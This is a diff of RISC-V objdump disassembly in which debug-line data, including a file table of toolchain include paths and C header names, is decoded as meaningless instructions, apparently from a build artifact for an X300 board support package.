-    2038:	0004                	0x4
-    203a:	0501                	addi	a0,a0,0
-    203c:	09000307          	0x9000307
-    2040:	0002                	c.slli64	zero
-    2042:	0501                	addi	a0,a0,0
-    2044:	0605                	addi	a2,a2,1
-    2046:	04090103          	lb	sp,64(s2)
-    204a:	0100                	addi	s0,sp,128
-    204c:	0605                	addi	a2,a2,1
-    204e:	0306                	slli	t1,t1,0x1
-    2050:	0900                	addi	s0,sp,144
-    2052:	0000                	unimp
-    2054:	0501                	addi	a0,a0,0
-    2056:	0605                	addi	a2,a2,1
-    2058:	04090103          	lb	sp,64(s2)
-    205c:	0100                	addi	s0,sp,128
-    205e:	0405                	addi	s0,s0,1
-    2060:	00093103          	0x93103
-    2064:	0100                	addi	s0,sp,128
-    2066:	0a05                	addi	s4,s4,1
-    2068:	0200                	addi	s0,sp,256
-    206a:	0104                	addi	s1,sp,128
-    206c:	0c095203          	lhu	tp,192(s2)
-    2070:	0100                	addi	s0,sp,128
-    2072:	1505                	addi	a0,a0,-31
-    2074:	0200                	addi	s0,sp,256
-    2076:	0104                	addi	s1,sp,128
-    2078:	0306                	slli	t1,t1,0x1
-    207a:	0900                	addi	s0,sp,144
-    207c:	0000                	unimp
-    207e:	0501                	addi	a0,a0,0
-    2080:	0604                	addi	s1,sp,768
-    2082:	08090103          	lb	sp,128(s2)
-    2086:	0100                	addi	s0,sp,128
-    2088:	0705                	addi	a4,a4,1
-    208a:	0306                	slli	t1,t1,0x1
-    208c:	0900                	addi	s0,sp,144
-    208e:	0000                	unimp
-    2090:	0501                	addi	a0,a0,0
-    2092:	0604                	addi	s1,sp,768
-    2094:	04090103          	lb	sp,64(s2)
-    2098:	0100                	addi	s0,sp,128
-    209a:	0905                	addi	s2,s2,1
-    209c:	0306                	slli	t1,t1,0x1
-    209e:	0900                	addi	s0,sp,144
-    20a0:	0000                	unimp
-    20a2:	0501                	addi	a0,a0,0
-    20a4:	09000307          	0x9000307
-    20a8:	0002                	c.slli64	zero
-    20aa:	0501                	addi	a0,a0,0
-    20ac:	0605                	addi	a2,a2,1
-    20ae:	04090103          	lb	sp,64(s2)
-    20b2:	0100                	addi	s0,sp,128
-    20b4:	0605                	addi	a2,a2,1
-    20b6:	0306                	slli	t1,t1,0x1
-    20b8:	0900                	addi	s0,sp,144
-    20ba:	0000                	unimp
-    20bc:	0501                	addi	a0,a0,0
-    20be:	0605                	addi	a2,a2,1
-    20c0:	04090103          	lb	sp,64(s2)
-    20c4:	0100                	addi	s0,sp,128
-    20c6:	0405                	addi	s0,s0,1
-    20c8:	0306                	slli	t1,t1,0x1
-    20ca:	092a                	slli	s2,s2,0xa
-    20cc:	000a                	c.slli	zero,0x2
-    20ce:	0501                	addi	a0,a0,0
-    20d0:	000a                	c.slli	zero,0x2
-    20d2:	0402                	c.slli64	s0
-    20d4:	0601                	addi	a2,a2,0
-    20d6:	08095903          	lhu	s2,128(s2)
-    20da:	0100                	addi	s0,sp,128
-    20dc:	1505                	addi	a0,a0,-31
-    20de:	0200                	addi	s0,sp,256
-    20e0:	0104                	addi	s1,sp,128
-    20e2:	0306                	slli	t1,t1,0x1
-    20e4:	0900                	addi	s0,sp,144
-    20e6:	0000                	unimp
-    20e8:	0501                	addi	a0,a0,0
-    20ea:	0604                	addi	s1,sp,768
-    20ec:	08090103          	lb	sp,128(s2)
-    20f0:	0100                	addi	s0,sp,128
-    20f2:	0905                	addi	s2,s2,1
-    20f4:	0306                	slli	t1,t1,0x1
-    20f6:	0901                	addi	s2,s2,0
-    20f8:	0000                	unimp
-    20fa:	0501                	addi	a0,a0,0
-    20fc:	097f0307          	0x97f0307
-    2100:	0004                	0x4
-    2102:	0501                	addi	a0,a0,0
-    2104:	0604                	addi	s1,sp,768
-    2106:	04090103          	lb	sp,64(s2)
-    210a:	0100                	addi	s0,sp,128
-    210c:	0705                	addi	a4,a4,1
-    210e:	0306                	slli	t1,t1,0x1
-    2110:	0900                	addi	s0,sp,144
-    2112:	0000                	unimp
-    2114:	0501                	addi	a0,a0,0
-    2116:	0021                	c.nop	8
-    2118:	0402                	c.slli64	s0
-    211a:	0301                	addi	t1,t1,0
-    211c:	0900                	addi	s0,sp,144
-    211e:	0006                	c.slli	zero,0x1
-    2120:	0501                	addi	a0,a0,0
-    2122:	001f 0402 0301      	0x3010402001f
-    2128:	0900                	addi	s0,sp,144
-    212a:	0002                	c.slli64	zero
-    212c:	0501                	addi	a0,a0,0
-    212e:	0011                	c.nop	4
-    2130:	0402                	c.slli64	s0
-    2132:	0301                	addi	t1,t1,0
-    2134:	0900                	addi	s0,sp,144
-    2136:	0008                	0x8
-    2138:	0501                	addi	a0,a0,0
-    213a:	000e                	c.slli	zero,0x3
-    213c:	0402                	c.slli64	s0
-    213e:	0301                	addi	t1,t1,0
-    2140:	0900                	addi	s0,sp,144
-    2142:	0006                	c.slli	zero,0x1
-    2144:	0501                	addi	a0,a0,0
-    2146:	0605                	addi	a2,a2,1
-    2148:	04090103          	lb	sp,64(s2)
-    214c:	0100                	addi	s0,sp,128
-    214e:	0605                	addi	a2,a2,1
-    2150:	0306                	slli	t1,t1,0x1
-    2152:	0900                	addi	s0,sp,144
-    2154:	0000                	unimp
-    2156:	0501                	addi	a0,a0,0
-    2158:	0605                	addi	a2,a2,1
-    215a:	0a090103          	lb	sp,160(s2)
-    215e:	0100                	addi	s0,sp,128
-    2160:	1e05                	addi	t3,t3,-31
-    2162:	0306                	slli	t1,t1,0x1
-    2164:	0900                	addi	s0,sp,144
-    2166:	0000                	unimp
-    2168:	0501                	addi	a0,a0,0
-    216a:	0305                	addi	t1,t1,1
-    216c:	090c                	addi	a1,sp,144
-    216e:	0004                	0x4
-    2170:	0601                	addi	a2,a2,0
-    2172:	08090103          	lb	sp,128(s2)
-    2176:	0100                	addi	s0,sp,128
-    2178:	10090103          	lb	sp,256(s2)
-    217c:	0100                	addi	s0,sp,128
-    217e:	10090103          	lb	sp,256(s2)
-    2182:	0100                	addi	s0,sp,128
-    2184:	10090103          	lb	sp,256(s2)
-    2188:	0100                	addi	s0,sp,128
-    218a:	0705                	addi	a4,a4,1
-    218c:	0306                	slli	t1,t1,0x1
-    218e:	0900                	addi	s0,sp,144
-    2190:	0000                	unimp
-    2192:	0501                	addi	a0,a0,0
-    2194:	0306                	slli	t1,t1,0x1
-    2196:	0900                	addi	s0,sp,144
-    2198:	0006                	c.slli	zero,0x1
-    219a:	0501                	addi	a0,a0,0
-    219c:	000a                	c.slli	zero,0x2
-    219e:	0402                	c.slli64	s0
-    21a0:	0601                	addi	a2,a2,0
-    21a2:	04097803          	0x4097803
-    21a6:	0100                	addi	s0,sp,128
-    21a8:	1505                	addi	a0,a0,-31
-    21aa:	0200                	addi	s0,sp,256
-    21ac:	0104                	addi	s1,sp,128
-    21ae:	0306                	slli	t1,t1,0x1
-    21b0:	0900                	addi	s0,sp,144
+    1fca:	0605                	addi	a2,a2,1
+    1fcc:	00090003          	lb	zero,0(s2)
+    1fd0:	0100                	addi	s0,sp,128
+    1fd2:	0405                	addi	s0,s0,1
+    1fd4:	0306                	slli	t1,t1,0x1
+    1fd6:	0901                	addi	s2,s2,0
+    1fd8:	0004                	0x4
+    1fda:	0501                	addi	a0,a0,0
+    1fdc:	0311                	addi	t1,t1,4
+    1fde:	0900                	addi	s0,sp,144
+    1fe0:	0006                	c.slli	zero,0x1
+    1fe2:	0501                	addi	a0,a0,0
+    1fe4:	0306                	slli	t1,t1,0x1
+    1fe6:	0002097b          	0x2097b
+    1fea:	0901                	addi	s2,s2,0
+    1fec:	000a                	c.slli	zero,0x2
+    1fee:	0100                	addi	s0,sp,128
+    1ff0:	1b01                	addi	s6,s6,-32
+    1ff2:	03000007          	0x3000007
+    1ff6:	6300                	flw	fs0,0(a4)
+    1ff8:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
+    1ffc:	fb01                	bnez	a4,1f0c <__stack_size+0x170c>
+    1ffe:	0d0e                	slli	s10,s10,0x3
+    2000:	0100                	addi	s0,sp,128
+    2002:	0101                	addi	sp,sp,0
+    2004:	0001                	nop
+    2006:	0000                	unimp
+    2008:	0001                	nop
+    200a:	0100                	addi	s0,sp,128
+    200c:	2e2e                	fld	ft8,200(sp)
+    200e:	7073622f          	0x7073622f
+    2012:	3033582f          	0x3033582f
+    2016:	2f30                	fld	fa2,88(a4)
+    2018:	656e                	flw	fa0,216(sp)
+    201a:	62696c77          	0x62696c77
+    201e:	2f00                	fld	fs0,24(a4)
+    2020:	6f68                	flw	fa0,92(a4)
+    2022:	656d                	lui	a0,0x1b
+    2024:	7369722f          	0x7369722f
+    2028:	742f7663          	bgeu	t5,sp,2774 <__stack_size+0x1f74>
+    202c:	736c6f6f          	jal	t5,c8762 <__stack_size+0xc7f62>
+    2030:	7369722f          	0x7369722f
+    2034:	672d7663          	bgeu	s10,s2,26a0 <__stack_size+0x1ea0>
+    2038:	756e                	flw	fa0,248(sp)
+    203a:	742d                	lui	s0,0xfffeb
+    203c:	636c6f6f          	jal	t5,c8672 <__stack_size+0xc7e72>
+    2040:	6168                	flw	fa0,68(a0)
+    2042:	6e69                	lui	t3,0x1a
+    2044:	682d                	lui	a6,0xb
+    2046:	7865                	lui	a6,0xffff9
+    2048:	6966                	flw	fs2,88(sp)
+    204a:	6576                	flw	fa0,92(sp)
+    204c:	62696c2f          	0x62696c2f
+    2050:	6363672f          	0x6363672f
+    2054:	7369722f          	0x7369722f
+    2058:	34367663          	bgeu	a2,gp,23a4 <__stack_size+0x1ba4>
+    205c:	752d                	lui	a0,0xfffeb
+    205e:	6b6e                	flw	fs6,216(sp)
+    2060:	6f6e                	flw	ft10,216(sp)
+    2062:	652d6e77          	0x652d6e77
+    2066:	666c                	flw	fa1,76(a2)
+    2068:	2e30312f          	0x2e30312f
+    206c:	2e31                	jal	2388 <__stack_size+0x1b88>
+    206e:	2f30                	fld	fa2,88(a4)
+    2070:	6e69                	lui	t3,0x1a
+    2072:	64756c63          	bltu	a0,t2,26ca <__stack_size+0x1eca>
+    2076:	0065                	c.nop	25
+    2078:	6d6f682f          	0x6d6f682f
+    207c:	2f65                	jal	2834 <__stack_size+0x2034>
+    207e:	6972                	flw	fs2,28(sp)
+    2080:	2f766373          	csrrsi	t1,0x2f7,12
+    2084:	6f74                	flw	fa3,92(a4)
+    2086:	2f736c6f          	jal	s8,38b7c <__stack_size+0x3837c>
+    208a:	6972                	flw	fs2,28(sp)
+    208c:	2d766373          	csrrsi	t1,0x2d7,12
+    2090:	2d756e67          	0x2d756e67
+    2094:	6f74                	flw	fa3,92(a4)
+    2096:	68636c6f          	jal	s8,3871c <__stack_size+0x37f1c>
+    209a:	6961                	lui	s2,0x18
+    209c:	2d6e                	fld	fs10,216(sp)
+    209e:	6568                	flw	fa0,76(a0)
+    20a0:	6678                	flw	fa4,76(a2)
+    20a2:	7669                	lui	a2,0xffffa
+    20a4:	2f65                	jal	285c <__stack_size+0x205c>
+    20a6:	6972                	flw	fs2,28(sp)
+    20a8:	36766373          	csrrsi	t1,0x367,12
+    20ac:	2d34                	fld	fa3,88(a0)
+    20ae:	6e75                	lui	t3,0x1d
+    20b0:	776f6e6b          	0x776f6e6b
+    20b4:	2d6e                	fld	fs10,216(sp)
+    20b6:	6c65                	lui	s8,0x19
+    20b8:	2f66                	fld	ft10,88(sp)
+    20ba:	6e69                	lui	t3,0x1a
+    20bc:	64756c63          	bltu	a0,t2,2714 <__stack_size+0x1f14>
+    20c0:	2f65                	jal	2878 <__stack_size+0x2078>
+    20c2:	616d                	addi	sp,sp,240
+    20c4:	6e696863          	bltu	s2,t1,27b4 <__stack_size+0x1fb4>
+    20c8:	0065                	c.nop	25
+    20ca:	6d6f682f          	0x6d6f682f
+    20ce:	2f65                	jal	2886 <__stack_size+0x2086>
+    20d0:	6972                	flw	fs2,28(sp)
+    20d2:	2f766373          	csrrsi	t1,0x2f7,12
+    20d6:	6f74                	flw	fa3,92(a4)
+    20d8:	2f736c6f          	jal	s8,38bce <__stack_size+0x383ce>
+    20dc:	6972                	flw	fs2,28(sp)
+    20de:	2d766373          	csrrsi	t1,0x2d7,12
+    20e2:	2d756e67          	0x2d756e67
+    20e6:	6f74                	flw	fa3,92(a4)
+    20e8:	68636c6f          	jal	s8,3876e <__stack_size+0x37f6e>
+    20ec:	6961                	lui	s2,0x18
+    20ee:	2d6e                	fld	fs10,216(sp)
+    20f0:	6568                	flw	fa0,76(a0)
+    20f2:	6678                	flw	fa4,76(a2)
+    20f4:	7669                	lui	a2,0xffffa
+    20f6:	2f65                	jal	28ae <__stack_size+0x20ae>
+    20f8:	6972                	flw	fs2,28(sp)
+    20fa:	36766373          	csrrsi	t1,0x367,12
+    20fe:	2d34                	fld	fa3,88(a0)
+    2100:	6e75                	lui	t3,0x1d
+    2102:	776f6e6b          	0x776f6e6b
+    2106:	2d6e                	fld	fs10,216(sp)
+    2108:	6c65                	lui	s8,0x19
+    210a:	2f66                	fld	ft10,88(sp)
+    210c:	6e69                	lui	t3,0x1a
+    210e:	64756c63          	bltu	a0,t2,2766 <__stack_size+0x1f66>
+    2112:	2f65                	jal	28ca <__stack_size+0x20ca>
+    2114:	00737973          	csrrci	s2,0x7,6
+    2118:	6d6f682f          	0x6d6f682f
+    211c:	2f65                	jal	28d4 <__stack_size+0x20d4>
+    211e:	6972                	flw	fs2,28(sp)
+    2120:	2f766373          	csrrsi	t1,0x2f7,12
+    2124:	6f74                	flw	fa3,92(a4)
+    2126:	2f736c6f          	jal	s8,38c1c <__stack_size+0x3841c>
+    212a:	6972                	flw	fs2,28(sp)
+    212c:	2d766373          	csrrsi	t1,0x2d7,12
+    2130:	2d756e67          	0x2d756e67
+    2134:	6f74                	flw	fa3,92(a4)
+    2136:	68636c6f          	jal	s8,387bc <__stack_size+0x37fbc>
+    213a:	6961                	lui	s2,0x18
+    213c:	2d6e                	fld	fs10,216(sp)
+    213e:	6568                	flw	fa0,76(a0)
+    2140:	6678                	flw	fa4,76(a2)
+    2142:	7669                	lui	a2,0xffffa
+    2144:	2f65                	jal	28fc <__stack_size+0x20fc>
+    2146:	6972                	flw	fs2,28(sp)
+    2148:	36766373          	csrrsi	t1,0x367,12
+    214c:	2d34                	fld	fa3,88(a0)
+    214e:	6e75                	lui	t3,0x1d
+    2150:	776f6e6b          	0x776f6e6b
+    2154:	2d6e                	fld	fs10,216(sp)
+    2156:	6c65                	lui	s8,0x19
+    2158:	2f66                	fld	ft10,88(sp)
+    215a:	6e69                	lui	t3,0x1a
+    215c:	64756c63          	bltu	a0,t2,27b4 <__stack_size+0x1fb4>
+    2160:	0065                	c.nop	25
+    2162:	2e2e                	fld	ft8,200(sp)
+    2164:	7073622f          	0x7073622f
+    2168:	3033582f          	0x3033582f
+    216c:	0030                	addi	a2,sp,8
+    216e:	6e00                	flw	fs0,24(a2)
+    2170:	7765                	lui	a4,0xffff9
+    2172:	696c                	flw	fa1,84(a0)
+    2174:	2e62                	fld	ft8,24(sp)
+    2176:	00010063          	beqz	sp,2176 <__stack_size+0x1976>
+    217a:	7300                	flw	fs0,32(a4)
+    217c:	6474                	flw	fa3,76(s0)
+    217e:	6564                	flw	fs1,76(a0)
+    2180:	2e66                	fld	ft8,88(sp)
+    2182:	0068                	addi	a0,sp,12
+    2184:	0002                	c.slli64	zero
+    2186:	5f00                	lw	s0,56(a4)
+    2188:	6564                	flw	fs1,76(a0)
+    218a:	6166                	flw	ft2,88(sp)
+    218c:	6c75                	lui	s8,0x1d
+    218e:	5f74                	lw	a3,124(a4)
+    2190:	7974                	flw	fa3,116(a0)
+    2192:	6570                	flw	fa2,76(a0)
+    2194:	00682e73          	csrrs	t3,0x6,a6
+    2198:	5f000003          	lb	zero,1520(zero) # 5f0 <__stack_size-0x210>
+    219c:	7974                	flw	fa3,116(a0)
+    219e:	6570                	flw	fa2,76(a0)
+    21a0:	00682e73          	csrrs	t3,0x6,a6
+    21a4:	0004                	0x4
+    21a6:	5f00                	lw	s0,56(a4)
+    21a8:	69647473          	csrrci	s0,0x696,8
+    21ac:	746e                	flw	fs0,248(sp)
+    21ae:	682e                	flw	fa6,200(sp)
+    21b0:	0400                	addi	s0,sp,512
     21b2:	0000                	unimp
-    21b4:	0501                	addi	a0,a0,0
-    21b6:	0604                	addi	s1,sp,768
-    21b8:	08090103          	lb	sp,128(s2)
-    21bc:	0100                	addi	s0,sp,128
-    21be:	0905                	addi	s2,s2,1
-    21c0:	0306                	slli	t1,t1,0x1
-    21c2:	0901                	addi	s2,s2,0
-    21c4:	0000                	unimp
-    21c6:	0501                	addi	a0,a0,0
-    21c8:	097f0307          	0x97f0307
-    21cc:	0004                	0x4
-    21ce:	0501                	addi	a0,a0,0
-    21d0:	0604                	addi	s1,sp,768
-    21d2:	04090103          	lb	sp,64(s2)
-    21d6:	0100                	addi	s0,sp,128
-    21d8:	0705                	addi	a4,a4,1
-    21da:	0306                	slli	t1,t1,0x1
-    21dc:	0900                	addi	s0,sp,144
-    21de:	0000                	unimp
-    21e0:	0501                	addi	a0,a0,0
-    21e2:	001f 0402 0301      	0x3010402001f
-    21e8:	0900                	addi	s0,sp,144
-    21ea:	0004                	0x4
-    21ec:	0501                	addi	a0,a0,0
-    21ee:	001d                	c.nop	7
-    21f0:	0402                	c.slli64	s0
-    21f2:	0301                	addi	t1,t1,0
-    21f4:	0900                	addi	s0,sp,144
-    21f6:	0002                	c.slli64	zero
-    21f8:	0501                	addi	a0,a0,0
-    21fa:	0402000f          	0x402000f
-    21fe:	0301                	addi	t1,t1,0
-    2200:	0900                	addi	s0,sp,144
-    2202:	0008                	0x8
-    2204:	0501                	addi	a0,a0,0
-    2206:	000c                	0xc
-    2208:	0402                	c.slli64	s0
-    220a:	0301                	addi	t1,t1,0
-    220c:	0900                	addi	s0,sp,144
-    220e:	0006                	c.slli	zero,0x1
-    2210:	0501                	addi	a0,a0,0
-    2212:	0605                	addi	a2,a2,1
-    2214:	04090103          	lb	sp,64(s2)
-    2218:	0100                	addi	s0,sp,128
-    221a:	0605                	addi	a2,a2,1
-    221c:	0306                	slli	t1,t1,0x1
-    221e:	0900                	addi	s0,sp,144
-    2220:	0000                	unimp
-    2222:	0501                	addi	a0,a0,0
-    2224:	031e                	slli	t1,t1,0x7
-    2226:	0901                	addi	s2,s2,0
-    2228:	0004                	0x4
-    222a:	0501                	addi	a0,a0,0
-    222c:	0306                	slli	t1,t1,0x1
-    222e:	097f                	0x97f
-    2230:	0004                	0x4
-    2232:	0501                	addi	a0,a0,0
-    2234:	0605                	addi	a2,a2,1
-    2236:	06090103          	lb	sp,96(s2)
-    223a:	0100                	addi	s0,sp,128
-    223c:	1e05                	addi	t3,t3,-31
-    223e:	0306                	slli	t1,t1,0x1
-    2240:	0900                	addi	s0,sp,144
-    2242:	0000                	unimp
-    2244:	0501                	addi	a0,a0,0
-    2246:	002c                	addi	a1,sp,8
-    2248:	0402                	c.slli64	s0
-    224a:	09030603          	lb	a2,144(t1)
-    224e:	0609                	addi	a2,a2,2
-    2250:	0100                	addi	s0,sp,128
-    2252:	3805                	jal	1a82 <__stack_size+0x1282>
-    2254:	0200                	addi	s0,sp,256
-    2256:	0304                	addi	s1,sp,384
-    2258:	0306                	slli	t1,t1,0x1
-    225a:	0900                	addi	s0,sp,144
-    225c:	0000                	unimp
-    225e:	0501                	addi	a0,a0,0
-    2260:	0044                	addi	s1,sp,4
-    2262:	0402                	c.slli64	s0
-    2264:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-    2268:	0004                	0x4
-    226a:	0501                	addi	a0,a0,0
-    226c:	0038                	addi	a4,sp,8
-    226e:	0402                	c.slli64	s0
-    2270:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-    2274:	0004                	0x4
-    2276:	0501                	addi	a0,a0,0
-    2278:	04020027          	0x4020027
-    227c:	00030603          	lb	a2,0(t1)
-    2280:	0409                	addi	s0,s0,2
-    2282:	0100                	addi	s0,sp,128
-    2284:	0a05                	addi	s4,s4,1
-    2286:	02090703          	lb	a4,32(s2)
-    228a:	0100                	addi	s0,sp,128
-    228c:	1505                	addi	a0,a0,-31
-    228e:	0306                	slli	t1,t1,0x1
-    2290:	0900                	addi	s0,sp,144
+    21b4:	745f 6d69 7665      	0x76656d69745f
+    21ba:	6c61                	lui	s8,0x18
+    21bc:	682e                	flw	fa6,200(sp)
+    21be:	0400                	addi	s0,sp,512
+    21c0:	0000                	unimp
+    21c2:	745f 6d69 7365      	0x73656d69745f
+    21c8:	6570                	flw	fa2,76(a0)
+    21ca:	00682e63          	0x682e63
+    21ce:	0004                	0x4
+    21d0:	7400                	flw	fs0,40(s0)
+    21d2:	7079                	c.lui	zero,0xffffe
+    21d4:	7365                	lui	t1,0xffff9
+    21d6:	682e                	flw	fa6,200(sp)
+    21d8:	0400                	addi	s0,sp,512
+    21da:	0000                	unimp
+    21dc:	74617473          	csrrci	s0,0x746,2
+    21e0:	682e                	flw	fa6,200(sp)
+    21e2:	0400                	addi	s0,sp,512
+    21e4:	0000                	unimp
+    21e6:	6e75                	lui	t3,0x1d
+    21e8:	7369                	lui	t1,0xffffa
+    21ea:	6474                	flw	fa3,76(s0)
+    21ec:	682e                	flw	fa6,200(sp)
+    21ee:	0400                	addi	s0,sp,512
+    21f0:	0000                	unimp
+    21f2:	69727473          	csrrci	s0,0x697,4
+    21f6:	676e                	flw	fa4,216(sp)
+    21f8:	682e                	flw	fa6,200(sp)
+    21fa:	0500                	addi	s0,sp,640
+    21fc:	0000                	unimp
+    21fe:	6c647473          	csrrci	s0,0x6c6,8
+    2202:	6269                	lui	tp,0x1a
+    2204:	682e                	flw	fa6,200(sp)
+    2206:	0500                	addi	s0,sp,640
+    2208:	0000                	unimp
+    220a:	6569                	lui	a0,0x1a
+    220c:	6565                	lui	a0,0x19
+    220e:	7066                	flw	ft0,120(sp)
+    2210:	682e                	flw	fa6,200(sp)
+    2212:	0300                	addi	s0,sp,384
+    2214:	0000                	unimp
+    2216:	615f 736e 2e69      	0x2e69736e615f
+    221c:	0068                	addi	a0,sp,12
+    221e:	0005                	c.nop	1
+    2220:	6e00                	flw	fs0,24(a2)
+    2222:	7765                	lui	a4,0xffff9
+    2224:	696c                	flw	fa1,84(a0)
+    2226:	2e62                	fld	ft8,24(sp)
+    2228:	0068                	addi	a0,sp,12
+    222a:	0005                	c.nop	1
+    222c:	5f00                	lw	s0,56(a4)
+    222e:	656e                	flw	fa0,216(sp)
+    2230:	62696c77          	0x62696c77
+    2234:	765f 7265 6973      	0x69737265765f
+    223a:	682e6e6f          	jal	t3,e88bc <__stack_size+0xe80bc>
+    223e:	0500                	addi	s0,sp,640
+    2240:	0000                	unimp
+    2242:	666e6f63          	bltu	t3,t1,28c0 <__stack_size+0x20c0>
+    2246:	6769                	lui	a4,0x1a
+    2248:	682e                	flw	fa6,200(sp)
+    224a:	0400                	addi	s0,sp,512
+    224c:	0000                	unimp
+    224e:	6566                	flw	fa0,88(sp)
+    2250:	7461                	lui	s0,0xffff8
+    2252:	7275                	lui	tp,0xffffd
+    2254:	7365                	lui	t1,0xffff9
+    2256:	682e                	flw	fa6,200(sp)
+    2258:	0400                	addi	s0,sp,512
+    225a:	0000                	unimp
+    225c:	6572                	flw	fa0,28(sp)
+    225e:	6e65                	lui	t3,0x19
+    2260:	2e74                	fld	fa3,216(a2)
+    2262:	0068                	addi	a0,sp,12
+    2264:	0004                	0x4
+    2266:	5f00                	lw	s0,56(a4)
+    2268:	7974                	flw	fa3,116(a0)
+    226a:	6570                	flw	fa2,76(a0)
+    226c:	00682e73          	csrrs	t3,0x6,a6
+    2270:	6c000003          	lb	zero,1728(zero) # 6c0 <__stack_size-0x140>
+    2274:	2e6b636f          	jal	t1,b855a <__stack_size+0xb7d5a>
+    2278:	0068                	addi	a0,sp,12
+    227a:	0004                	0x4
+    227c:	6300                	flw	fs0,0(a4)
+    227e:	6564                	flw	fs1,76(a0)
+    2280:	7366                	flw	ft6,120(sp)
+    2282:	682e                	flw	fa6,200(sp)
+    2284:	0400                	addi	s0,sp,512
+    2286:	0000                	unimp
+    2288:	6c647473          	csrrci	s0,0x6c6,8
+    228c:	6269                	lui	tp,0x1a
+    228e:	682e                	flw	fa6,200(sp)
+    2290:	0300                	addi	s0,sp,384
     2292:	0000                	unimp
-    2294:	0501                	addi	a0,a0,0
-    2296:	030d                	addi	t1,t1,3
-    2298:	0900                	addi	s0,sp,144
-    229a:	0004                	0x4
-    229c:	0501                	addi	a0,a0,0
-    229e:	0024                	addi	s1,sp,8
-    22a0:	0402                	c.slli64	s0
-    22a2:	0301                	addi	t1,t1,0
-    22a4:	0900                	addi	s0,sp,144
-    22a6:	000c                	0xc
-    22a8:	0501                	addi	a0,a0,0
-    22aa:	001f 0402 0301      	0x3010402001f
-    22b0:	0900                	addi	s0,sp,144
-    22b2:	0002                	c.slli64	zero
-    22b4:	0501                	addi	a0,a0,0
-    22b6:	003a                	c.slli	zero,0xe
-    22b8:	0402                	c.slli64	s0
-    22ba:	0302                	c.slli64	t1
-    22bc:	0900                	addi	s0,sp,144
-    22be:	0006                	c.slli	zero,0x1
-    22c0:	0501                	addi	a0,a0,0
-    22c2:	0028                	addi	a0,sp,8
-    22c4:	0402                	c.slli64	s0
-    22c6:	0601                	addi	a2,a2,0
-    22c8:	0a090103          	lb	sp,160(s2)
-    22cc:	0100                	addi	s0,sp,128
-    22ce:	0405                	addi	s0,s0,1
-    22d0:	0200                	addi	s0,sp,256
-    22d2:	0104                	addi	s1,sp,128
-    22d4:	0306                	slli	t1,t1,0x1
-    22d6:	0900                	addi	s0,sp,144
-    22d8:	0000                	unimp
-    22da:	0601                	addi	a2,a2,0
-    22dc:	06090103          	lb	sp,96(s2)
-    22e0:	0100                	addi	s0,sp,128
-    22e2:	1005                	c.nop	-31
-    22e4:	0306                	slli	t1,t1,0x1
-    22e6:	0900                	addi	s0,sp,144
-    22e8:	0000                	unimp
-    22ea:	0501                	addi	a0,a0,0
-    22ec:	0304                	addi	s1,sp,384
-    22ee:	0901                	addi	s2,s2,0
-    22f0:	0002                	c.slli64	zero
-    22f2:	0501                	addi	a0,a0,0
-    22f4:	0310                	addi	a2,sp,384
-    22f6:	097f                	0x97f
-    22f8:	000c                	0xc
-    22fa:	0501                	addi	a0,a0,0
-    22fc:	0604                	addi	s1,sp,768
-    22fe:	04090103          	lb	sp,64(s2)
-    2302:	0100                	addi	s0,sp,128
-    2304:	04090103          	lb	sp,64(s2)
-    2308:	0100                	addi	s0,sp,128
-    230a:	10090103          	lb	sp,256(s2)
-    230e:	0100                	addi	s0,sp,128
-    2310:	0d05                	addi	s10,s10,1
-    2312:	0306                	slli	t1,t1,0x1
-    2314:	0900                	addi	s0,sp,144
-    2316:	0000                	unimp
-    2318:	0501                	addi	a0,a0,0
-    231a:	031c                	addi	a5,sp,384
-    231c:	0900                	addi	s0,sp,144
-    231e:	0002                	c.slli64	zero
-    2320:	0501                	addi	a0,a0,0
-    2322:	030d                	addi	t1,t1,3
-    2324:	0900                	addi	s0,sp,144
-    2326:	0002                	c.slli64	zero
-    2328:	0501                	addi	a0,a0,0
-    232a:	031c                	addi	a5,sp,384
-    232c:	0900                	addi	s0,sp,144
-    232e:	0002                	c.slli64	zero
-    2330:	0501                	addi	a0,a0,0
-    2332:	0304                	addi	s1,sp,384
-    2334:	0900                	addi	s0,sp,144
-    2336:	0004                	0x4
-    2338:	0501                	addi	a0,a0,0
-    233a:	0632                	slli	a2,a2,0xc
-    233c:	0e090003          	lb	zero,224(s2)
-    2340:	0100                	addi	s0,sp,128
-    2342:	3305                	jal	2062 <__stack_size+0x1862>
-    2344:	0306                	slli	t1,t1,0x1
-    2346:	0900                	addi	s0,sp,144
-    2348:	0000                	unimp
-    234a:	0501                	addi	a0,a0,0
-    234c:	0304                	addi	s1,sp,384
-    234e:	0901                	addi	s2,s2,0
-    2350:	0002                	c.slli64	zero
-    2352:	0501                	addi	a0,a0,0
-    2354:	097f0333          	0x97f0333
-    2358:	000a                	c.slli	zero,0x2
-    235a:	0501                	addi	a0,a0,0
-    235c:	0304                	addi	s1,sp,384
-    235e:	0901                	addi	s2,s2,0
-    2360:	0002                	c.slli64	zero
-    2362:	0501                	addi	a0,a0,0
-    2364:	097f0333          	0x97f0333
-    2368:	0002                	c.slli64	zero
-    236a:	0501                	addi	a0,a0,0
-    236c:	0604                	addi	s1,sp,768
-    236e:	02090103          	lb	sp,32(s2)
-    2372:	0100                	addi	s0,sp,128
-    2374:	3405                	jal	1d94 <__stack_size+0x1594>
-    2376:	0200                	addi	s0,sp,256
-    2378:	0304                	addi	s1,sp,384
-    237a:	06097b03          	0x6097b03
+    2294:	6c61                	lui	s8,0x18
+    2296:	6f6c                	flw	fa1,92(a4)
+    2298:	682e6163          	bltu	t3,sp,291a <__stack_size+0x211a>
+    229c:	0500                	addi	s0,sp,640
+    229e:	0000                	unimp
+    22a0:	6e75                	lui	t3,0x1d
+    22a2:	7369                	lui	t1,0xffffa
+    22a4:	6474                	flw	fa3,76(s0)
+    22a6:	682e                	flw	fa6,200(sp)
+    22a8:	0500                	addi	s0,sp,640
+    22aa:	0000                	unimp
+    22ac:	6e65                	lui	t3,0x19
+    22ae:	6964                	flw	fs1,84(a0)
+    22b0:	6e61                	lui	t3,0x18
+    22b2:	682e                	flw	fa6,200(sp)
+    22b4:	0300                	addi	s0,sp,384
+    22b6:	0000                	unimp
+    22b8:	655f 646e 6169      	0x6169646e655f
+    22be:	2e6e                	fld	ft8,216(sp)
+    22c0:	0068                	addi	a0,sp,12
+    22c2:	73000003          	lb	zero,1840(zero) # 730 <__stack_size-0xd0>
+    22c6:	6c65                	lui	s8,0x19
+    22c8:	6365                	lui	t1,0x19
